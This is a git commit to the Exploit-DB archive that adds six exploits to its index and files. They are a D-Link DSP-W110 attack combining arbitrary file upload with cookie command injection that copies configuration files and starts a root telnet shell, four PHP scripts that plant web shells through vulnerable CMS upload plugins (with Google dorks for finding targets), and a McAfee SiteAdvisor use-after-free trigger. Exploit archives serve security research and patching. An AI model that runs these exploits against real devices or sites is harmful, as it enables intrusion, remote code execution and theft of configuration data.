DB: 2015-07-02
6 new exploits
This commit is contained in:
Offensive Security
parent
7e7d4b0244
commit
2dc4d37f0f
7 changed files with 490 additions and 0 deletions
|
|
@ -33793,3 +33793,9 @@ id,file,description,date,author,platform,type,port
|
||||||
37447,platforms/asp/webapps/37447.txt,"C2Box 4.0.0(r19171) - CSRF Vulnerability",2015-06-30,"Wissam Bashour",asp,webapps,0
|
37447,platforms/asp/webapps/37447.txt,"C2Box 4.0.0(r19171) - CSRF Vulnerability",2015-06-30,"Wissam Bashour",asp,webapps,0
|
||||||
37448,platforms/multiple/remote/37448.rb,"Adobe Flash Player Drawing Fill Shader Memory Corruption",2015-06-30,metasploit,multiple,remote,0
|
37448,platforms/multiple/remote/37448.rb,"Adobe Flash Player Drawing Fill Shader Memory Corruption",2015-06-30,metasploit,multiple,remote,0
|
||||||
37449,platforms/hardware/webapps/37449.txt,"Polycom RealPresence Resource Manager < 8.4 - Multiple Vulnerabilities",2015-06-30,"SEC Consult",hardware,webapps,0
|
37449,platforms/hardware/webapps/37449.txt,"Polycom RealPresence Resource Manager < 8.4 - Multiple Vulnerabilities",2015-06-30,"SEC Consult",hardware,webapps,0
|
||||||
|
37450,platforms/php/webapps/37450.txt,"Amazon S3 Uploadify Script 'uploadify.php' Arbitrary File Upload Vulnerability",2012-06-23,"Sammy FORGIT",php,webapps,0
|
||||||
|
37451,platforms/php/webapps/37451.txt,"SilverStripe Pixlr Image Editor 'upload.php' Arbitrary File Upload Vulnerability",2012-06-23,"Sammy FORGIT",php,webapps,0
|
||||||
|
37452,platforms/php/webapps/37452.txt,"WordPress Flip Book 'php.php' Arbitrary File Upload Vulnerability",2012-06-23,"Sammy FORGIT",php,webapps,0
|
||||||
|
37453,platforms/php/webapps/37453.php,"Drupal Drag & Drop Gallery 'upload.php' Arbitrary File Upload Vulnerability",2012-06-25,"Sammy FORGIT",php,webapps,0
|
||||||
|
37454,platforms/hardware/webapps/37454.txt,"D-Link DSP-W w110 v1.05b01 - Multiple Vulnerabilities",2015-07-01,DNO,hardware,webapps,0
|
||||||
|
37456,platforms/windows/dos/37456.html,"McAfee SiteAdvisor 3.7.2 (firefox) Use After Free PoC",2015-07-01,"Marcin Ressel",windows,dos,0
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
168
platforms/hardware/webapps/37454.txt
Executable file
168
platforms/hardware/webapps/37454.txt
Executable file
|
|
@ -0,0 +1,168 @@
|
||||||
|
# Exploit Title: D-Link DSP-W Arbitrary Arbitrary file upload
|
||||||
|
# Date: 30/06/2015
|
||||||
|
# Exploit Author: DNO
|
||||||
|
# Vendor Homepage: [link]
|
||||||
|
# Version: w110 v1.05b01
|
||||||
|
# Tested on: linux
|
||||||
|
# CVE : N/A
|
||||||
|
|
||||||
|
========================================
|
||||||
|
|
||||||
|
the only 'filtering' on this resources appears to be a sprintf()
|
||||||
|
call which statically prefixes a submitted 'dev' argument with '/www'.
|
||||||
|
However,
|
||||||
|
if a HTTP request is performed without a 'dev' argument at all, the
|
||||||
|
sprintf() call is never reached,
|
||||||
|
and a fully-qualified path can be provided in the 'path' parameter -
|
||||||
|
bypassing the upload path restriction.
|
||||||
|
|
||||||
|
***************
|
||||||
|
# Upload arbitrary files to the device.
|
||||||
|
echo 'Some String' > test.txt
|
||||||
|
curl \
|
||||||
|
-X POST \
|
||||||
|
-i \
|
||||||
|
-F name=@test.txt \
|
||||||
|
--http1.0 \
|
||||||
|
'192.168.1.3/web_cgi.cgi?&request=UploadFile&path=/etc/'
|
||||||
|
|
||||||
|
========================================
|
||||||
|
|
||||||
|
# Exploit Title: D-Link DSP-W Diagnostic Information " Get info"
|
||||||
|
# Date: 30/06/2015
|
||||||
|
# Exploit Author: DNO
|
||||||
|
# Version: w110 v1.05b01
|
||||||
|
# Tested on: linux
|
||||||
|
# CVE : N/A
|
||||||
|
|
||||||
|
========================================
|
||||||
|
Severity Level:
|
||||||
|
===============
|
||||||
|
High
|
||||||
|
===============
|
||||||
|
Patches made to lighttpd by the vendor of this device allows an attacker to
|
||||||
|
query the device, without authentication, for the following information:
|
||||||
|
|
||||||
|
# Current WLAN SSIDs
|
||||||
|
# Current WLAN channels
|
||||||
|
# LAN and WAN MAC addressing
|
||||||
|
# Current firmware version information
|
||||||
|
# Hardware version information
|
||||||
|
|
||||||
|
Although not sensitive information, it may allow for identification of
|
||||||
|
devices running vulnerable firmware versions.
|
||||||
|
|
||||||
|
=========================================
|
||||||
|
# Information query.
|
||||||
|
curl \
|
||||||
|
192.168.1.3/mplist.txt
|
||||||
|
|
||||||
|
========================================
|
||||||
|
#ruby poc
|
||||||
|
----
|
||||||
|
|
||||||
|
# DSP-W110-Lighttpd PoC.
|
||||||
|
|
||||||
|
require 'pp'
|
||||||
|
require 'optparse'
|
||||||
|
require 'restclient'
|
||||||
|
|
||||||
|
# Set defaults and parse command line arguments
|
||||||
|
options = {}
|
||||||
|
|
||||||
|
options[:addr] = "192.168.0.60"
|
||||||
|
options[:port] = 80
|
||||||
|
|
||||||
|
OptionParser.new do |option|
|
||||||
|
|
||||||
|
option.on("--address [ADDRESS]", "Destination hostname or IP") do |a|
|
||||||
|
options[:addr] = a
|
||||||
|
end
|
||||||
|
|
||||||
|
option.on("--port [PORT]", "Destination TCP port") do |p|
|
||||||
|
options[:port] = p
|
||||||
|
end
|
||||||
|
|
||||||
|
option.parse!
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
# Define which actions we will be using.
|
||||||
|
actions = [
|
||||||
|
{
|
||||||
|
:name => "Get device information",
|
||||||
|
:call => "txt_parser",
|
||||||
|
:path => "mplist.txt",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
:name => "Snatch configuration",
|
||||||
|
:call => "noop",
|
||||||
|
:path => "HNAP1",
|
||||||
|
:cookies => { :cookie => "`cp /etc/co* /www/`" }
|
||||||
|
},
|
||||||
|
{
|
||||||
|
:name => "Fetch configuration",
|
||||||
|
:call => "conf_writer",
|
||||||
|
:path => "config.sqlite",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
:name => "Enable telnet (root)",
|
||||||
|
:call => "noop",
|
||||||
|
:path => "HNAP1",
|
||||||
|
:cookies => { :cookie => "`telnetd -l/bin/sh`" }
|
||||||
|
}
|
||||||
|
]
|
||||||
|
|
||||||
|
def noop(val)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
def txt_parser(txt)
|
||||||
|
txt.split(/\r?\n/).each do |line|
|
||||||
|
puts " #{line}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def conf_writer(txt)
|
||||||
|
begin
|
||||||
|
f = File.open('./config.sqlite', 'wb')
|
||||||
|
rescue => e
|
||||||
|
puts "[!] Failed to open config.sqlite for writing #{e.message}"
|
||||||
|
end
|
||||||
|
f.write(txt)
|
||||||
|
f.close
|
||||||
|
puts "[*] Configuration fetched into 'config.sqlite'"
|
||||||
|
end
|
||||||
|
|
||||||
|
# Iterate over all actions and attempt to execute.
|
||||||
|
url = "http://#{options[:addr]}:#{options[:port]}"
|
||||||
|
|
||||||
|
puts "[!] Attempting to extract information from #{url}"
|
||||||
|
|
||||||
|
actions.each do |action|
|
||||||
|
|
||||||
|
# Fire the request and ensure a 200 OKAY.
|
||||||
|
begin
|
||||||
|
response = RestClient.get(
|
||||||
|
"#{url}/#{action[:path]}",
|
||||||
|
{:cookies => action[:cookies]}
|
||||||
|
)
|
||||||
|
rescue
|
||||||
|
puts "[!] Failed to query remote host."
|
||||||
|
abort
|
||||||
|
end
|
||||||
|
|
||||||
|
if response.code != 200
|
||||||
|
puts "[-] '#{action[:name]}' failed with response: #{response.code}"
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
# Send to the processor.
|
||||||
|
puts "[*] #{action[:name]} request succeeded."
|
||||||
|
send(action[:call], response.body())
|
||||||
|
|
||||||
|
end
|
||||||
|
===================================
|
||||||
|
|
||||||
|
contact me FB : FB.COM/haker.dyno
|
||||||
|
Copyright © 2015 /DNO/
|
||||||
64
platforms/php/webapps/37450.txt
Executable file
64
platforms/php/webapps/37450.txt
Executable file
|
|
@ -0,0 +1,64 @@
|
||||||
|
source: http://www.securityfocus.com/bid/54170/info
|
||||||
|
|
||||||
|
Amazon S3 Uploadify Script is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
|
||||||
|
|
||||||
|
Amazon S3 Uploadify Script 1.01 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
|
||||||
|
0 _ __ __ __ 1
|
||||||
|
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
|
||||||
|
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
|
||||||
|
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
|
||||||
|
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
|
||||||
|
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
|
||||||
|
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
|
||||||
|
1 \ \____/ >> Exploit database separated by exploit 0
|
||||||
|
0 \/___/ type (local, remote, DoS, etc.) 1
|
||||||
|
1 1
|
||||||
|
0 [+] Site : 1337day.com 0
|
||||||
|
1 [+] Support e-mail : submit[at]1337day.com 1
|
||||||
|
0 0
|
||||||
|
1 ######################################### 1
|
||||||
|
0 I'm Sammy FORGIT member from Inj3ct0r Team 1
|
||||||
|
1 ######################################### 0
|
||||||
|
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
|
||||||
|
##################################################
|
||||||
|
# Description : uploadify-amazon-s3 Arbitrary File Upload Vulnerability
|
||||||
|
# Version : 1.01
|
||||||
|
# Link : http://code.google.com/p/uploadify-amazon-s3/
|
||||||
|
# Software : http://code.google.com/p/uploadify-amazon-s3/downloads/detail?name=uploadify-amazon-s3-101.zip&can=2&q=
|
||||||
|
# Date : 21-06-2012
|
||||||
|
# Google Dork : inurl:/files/uploadify/ -google
|
||||||
|
# Site : 1337day.com Inj3ct0r Exploit Database
|
||||||
|
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
|
||||||
|
##################################################
|
||||||
|
|
||||||
|
|
||||||
|
Exploit :
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
$uploadfile="lo.php";
|
||||||
|
|
||||||
|
$ch = curl_init("http://www.exemple.com/files/uploadify/uploadify.php?folder=/files/uploadify/");
|
||||||
|
curl_setopt($ch, CURLOPT_POST, true);
|
||||||
|
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
|
||||||
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||||
|
$postResult = curl_exec($ch);
|
||||||
|
curl_close($ch);
|
||||||
|
|
||||||
|
print "$postResult";
|
||||||
|
|
||||||
|
?>
|
||||||
|
|
||||||
|
Shell Access : http://www.exemple.com/files/uploadify/lo.php
|
||||||
|
|
||||||
|
lo.php
|
||||||
|
<?php
|
||||||
|
phpinfo();
|
||||||
|
?>
|
||||||
|
|
||||||
|
|
||||||
|
# Site : 1337day.com Inj3ct0r Exploit Database
|
||||||
64
platforms/php/webapps/37451.txt
Executable file
64
platforms/php/webapps/37451.txt
Executable file
|
|
@ -0,0 +1,64 @@
|
||||||
|
source: http://www.securityfocus.com/bid/54172/info
|
||||||
|
|
||||||
|
Pixlr Image Editor is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
|
||||||
|
|
||||||
|
Pixlr Image Editor 1.0.4 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
|
||||||
|
0 _ __ __ __ 1
|
||||||
|
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
|
||||||
|
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
|
||||||
|
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
|
||||||
|
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
|
||||||
|
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
|
||||||
|
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
|
||||||
|
1 \ \____/ >> Exploit database separated by exploit 0
|
||||||
|
0 \/___/ type (local, remote, DoS, etc.) 1
|
||||||
|
1 1
|
||||||
|
0 [+] Site : 1337day.com 0
|
||||||
|
1 [+] Support e-mail : submit[at]1337day.com 1
|
||||||
|
0 0
|
||||||
|
1 ######################################### 1
|
||||||
|
0 I'm Sammy FORGIT member from Inj3ct0r Team 1
|
||||||
|
1 ######################################### 0
|
||||||
|
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
|
||||||
|
##################################################
|
||||||
|
# Description : Silverstripe Modules - Pixlr Image Editor Arbitrary File Upload Vulnerability
|
||||||
|
# Version : 1.0.4
|
||||||
|
# Link : http://www.silverstripe.org/pixlr-image-editor-module/
|
||||||
|
# Software : http://www.silverstripe.org/assets/modules/stable/svn.github.com-silverstripe-pixlr.git-r54.tar.gz
|
||||||
|
# Date : 21-06-2012
|
||||||
|
# Google Dork : not discover
|
||||||
|
# Site : 1337day.com Inj3ct0r Exploit Database
|
||||||
|
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
|
||||||
|
##################################################
|
||||||
|
|
||||||
|
|
||||||
|
Exploit :
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
$uploadfile="lo.php";
|
||||||
|
|
||||||
|
$ch = curl_init("http://www.exemple.com/silverstripe/pixlr/thirdparty/supa/upload.php");
|
||||||
|
curl_setopt($ch, CURLOPT_POST, true);
|
||||||
|
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile"));
|
||||||
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||||
|
$postResult = curl_exec($ch);
|
||||||
|
curl_close($ch);
|
||||||
|
|
||||||
|
print "$postResult";
|
||||||
|
|
||||||
|
?>
|
||||||
|
|
||||||
|
Shell Access : http://www.exemple.com/silverstripe/pixlr/thirdparty/supa/data/lo.php
|
||||||
|
|
||||||
|
lo.php
|
||||||
|
<?php
|
||||||
|
phpinfo();
|
||||||
|
?>
|
||||||
|
|
||||||
|
|
||||||
|
# Site : 1337day.com Inj3ct0r Exploit Database
|
||||||
64
platforms/php/webapps/37452.txt
Executable file
64
platforms/php/webapps/37452.txt
Executable file
|
|
@ -0,0 +1,64 @@
|
||||||
|
source: http://www.securityfocus.com/bid/54173/info
|
||||||
|
|
||||||
|
Flip Book is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
|
||||||
|
|
||||||
|
Flip Book 1.0 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
|
||||||
|
0 _ __ __ __ 1
|
||||||
|
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
|
||||||
|
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
|
||||||
|
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
|
||||||
|
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
|
||||||
|
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
|
||||||
|
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
|
||||||
|
1 \ \____/ >> Exploit database separated by exploit 0
|
||||||
|
0 \/___/ type (local, remote, DoS, etc.) 1
|
||||||
|
1 1
|
||||||
|
0 [+] Site : 1337day.com 0
|
||||||
|
1 [+] Support e-mail : submit[at]1337day.com 1
|
||||||
|
0 0
|
||||||
|
1 ######################################### 1
|
||||||
|
0 I'm Sammy FORGIT member from Inj3ct0r Team 1
|
||||||
|
1 ######################################### 0
|
||||||
|
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
|
||||||
|
##################################################
|
||||||
|
# Description : Wordpress Plugins - Flip Book Arbitrary File Upload Vulnerability
|
||||||
|
# Version : 1.0
|
||||||
|
# link : http://codecanyon.net/item/flip-book-wordpress-plugin/152641
|
||||||
|
# Price : 30$
|
||||||
|
# Date : 22-06-2012
|
||||||
|
# Google Dork : inurl:/wp-content/plugins/flipbook/
|
||||||
|
# Site : 1337day.com Inj3ct0r Exploit Database
|
||||||
|
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
|
||||||
|
##################################################
|
||||||
|
|
||||||
|
|
||||||
|
Exploit :
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
$uploadfile="lo.php";
|
||||||
|
|
||||||
|
$ch = curl_init("http://www.exemple.com/wordpress/wp-content/plugins/flipbook/php.php");
|
||||||
|
curl_setopt($ch, CURLOPT_POST, true);
|
||||||
|
curl_setopt($ch, CURLOPT_POSTFIELDS, array('qqfile'=>"@$uploadfile"));
|
||||||
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||||
|
$postResult = curl_exec($ch);
|
||||||
|
curl_close($ch);
|
||||||
|
|
||||||
|
print "$postResult";
|
||||||
|
|
||||||
|
?>
|
||||||
|
|
||||||
|
Shell Access : http://www.exemple.com/wordpress/wp-includes/fb-images/lo.php
|
||||||
|
|
||||||
|
lo.php
|
||||||
|
<?php
|
||||||
|
phpinfo();
|
||||||
|
?>
|
||||||
|
|
||||||
|
|
||||||
|
# Site : 1337day.com Inj3ct0r Exploit Database
|
||||||
24
platforms/php/webapps/37453.php
Executable file
24
platforms/php/webapps/37453.php
Executable file
|
|
@ -0,0 +1,24 @@
|
||||||
|
source: http://www.securityfocus.com/bid/54179/info
|
||||||
|
|
||||||
|
Drag & Drop Gallery is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
|
||||||
|
|
||||||
|
Drag & Drop Gallery 6.X-1.5 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
$uploadfile="db.php.gif";
|
||||||
|
$uploadfile2="lo.php.gif";
|
||||||
|
|
||||||
|
$ch = curl_init("http://www.example.com/drupal/sites/all/modules/dragdrop_gallery/upload.php?nid=1&filedir=/drupal/sites/all/modules/dragdrop_gallery/");
|
||||||
|
curl_setopt($ch, CURLOPT_POST, true);
|
||||||
|
curl_setopt($ch, CURLOPT_POSTFIELDS, array('user_file[0]'=>"@$uploadfile",
|
||||||
|
'user_file[1]'=>"@$uploadfile2"));
|
||||||
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||||
|
$postResult = curl_exec($ch);
|
||||||
|
curl_close($ch);
|
||||||
|
|
||||||
|
print "$postResult";
|
||||||
|
|
||||||
|
?>
|
||||||
100
platforms/windows/dos/37456.html
Executable file
100
platforms/windows/dos/37456.html
Executable file
|
|
@ -0,0 +1,100 @@
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
|
||||||
|
<meta name="generator" content="PSPad editor, www.pspad.com">
|
||||||
|
<title>McAfee SiteAdvisor 3.7.2 for firefox Use After Free Poc</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
/*
|
||||||
|
Title: McAfee SiteAdvisor 3.7.2 (firefox) Use After Free
|
||||||
|
Author: Marcin Ressel
|
||||||
|
Twitter: https://twitter.com/m_ressel
|
||||||
|
NPMcFFPlg32.dll
|
||||||
|
McAfee SiteAdvisor 3.7.2
|
||||||
|
Tested on: Windows 8.1 (x64) and firefox 38.0.5
|
||||||
|
Homepage: https://www.siteadvisor.com/
|
||||||
|
|
||||||
|
Note: this vlun potentiali give us posibility to bruteforce base modules in memory
|
||||||
|
to bypass ASLR/DEP because the bug doesn't have negative impact to webbrowser proces
|
||||||
|
i mean firefox will not crash after trigger uaf i McAfee
|
||||||
|
|
||||||
|
0:107> !gflag
|
||||||
|
Current NtGlobalFlag contents: 0x02001800
|
||||||
|
htg - Enable heap tagging
|
||||||
|
ust - Create user mode stack trace database
|
||||||
|
hpa - Place heap allocations at ends of pages
|
||||||
|
|
||||||
|
0:107> g
|
||||||
|
(1d68.1b54): Access violation - code c0000005 (first chance)
|
||||||
|
First chance exceptions are reported before any exception handling.
|
||||||
|
This exception may be expected and handled.
|
||||||
|
eax=24b9efec ebx=00000000 ecx=00000000 edx=003bf030 esi=1a978ff0 edi=00000001
|
||||||
|
eip=6f404391 esp=003bf014 ebp=003bf054 iopl=0 nv up ei pl zr na pe nc
|
||||||
|
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210246
|
||||||
|
NPMcFFPlg32!CreateFFScriptable+0x141:
|
||||||
|
6f404391 8b4008 mov eax,dword ptr [eax+8] ds:002b:24b9eff4=????????
|
||||||
|
|
||||||
|
...
|
||||||
|
6f40437a 8b02 mov eax,dword ptr [edx]
|
||||||
|
6f40437c 85c0 test eax,eax
|
||||||
|
6f40437e 7402 je NPMcFFPlg32!CreateFFScriptable+0x132 (6f404382)
|
||||||
|
6f404380 8b00 mov eax,dword ptr [eax]
|
||||||
|
6f404382 8b4808 mov ecx,dword ptr [eax+8]
|
||||||
|
6f404385 8b4004 mov eax,dword ptr [eax+4]
|
||||||
|
6f404388 49 dec ecx
|
||||||
|
6f404389 234a08 and ecx,dword ptr [edx+8]
|
||||||
|
6f40438c 8b0488 mov eax,dword ptr [eax+ecx*4]
|
||||||
|
6f40438f 8b00 mov eax,dword ptr [eax]
|
||||||
|
6f404391 8b4008 mov eax,dword ptr [eax+8] ds:002b:24b9eff4=????????
|
||||||
|
6f404394 eb45 jmp NPMcFFPlg32!CreateFFScriptable+0x18b (6f4043db)
|
||||||
|
6f404396 8d45d0 lea eax,[ebp-30h]
|
||||||
|
6f404399 50 push eax
|
||||||
|
6f40439a e8d10e0000 call NPMcFFPlg32!CreateFFScriptable+0x1020 (6f405270)
|
||||||
|
6f40439f 8bd0 mov edx,eax
|
||||||
|
6f4043a1 8b02 mov eax,dword ptr [edx]
|
||||||
|
6f4043a3 85c0 test eax,eax
|
||||||
|
6f4043a5 7402 je NPMcFFPlg32!CreateFFScriptable+0x159 (6f4043a9)
|
||||||
|
6f4043a7 8b00 mov eax,dword ptr [eax]
|
||||||
|
6f4043a9 8b4808 mov ecx,dword ptr [eax+8]
|
||||||
|
6f4043ac 8b4004 mov eax,dword ptr [eax+4]
|
||||||
|
6f4043af 49 dec ecx
|
||||||
|
6f4043b0 234a08 and ecx,dword ptr [edx+8]
|
||||||
|
6f4043b3 8b3488 mov esi,dword ptr [eax+ecx*4]
|
||||||
|
6f4043b6 8d45c4 lea eax,[ebp-3Ch]
|
||||||
|
6f4043b9 50 push eax
|
||||||
|
6f4043ba e8b10e0000 call NPMcFFPlg32!CreateFFScriptable+0x1020 (6f405270)
|
||||||
|
6f4043bf 8bd0 mov edx,eax
|
||||||
|
...
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
var win = null;
|
||||||
|
|
||||||
|
function crash()
|
||||||
|
{
|
||||||
|
var doc = win.document;
|
||||||
|
|
||||||
|
var obj = doc;
|
||||||
|
win.close();
|
||||||
|
|
||||||
|
for(var p in obj)
|
||||||
|
{
|
||||||
|
if(typeof obj[p] == 'string')
|
||||||
|
{
|
||||||
|
try{ obj[p] = "CCCC"; }catch(err){}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
win = window.open('data:text/html,','','width=20,height=20'); //you need disable popupBlocker
|
||||||
|
win.onload = crash;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
Loading…
Add table
Reference in a new issue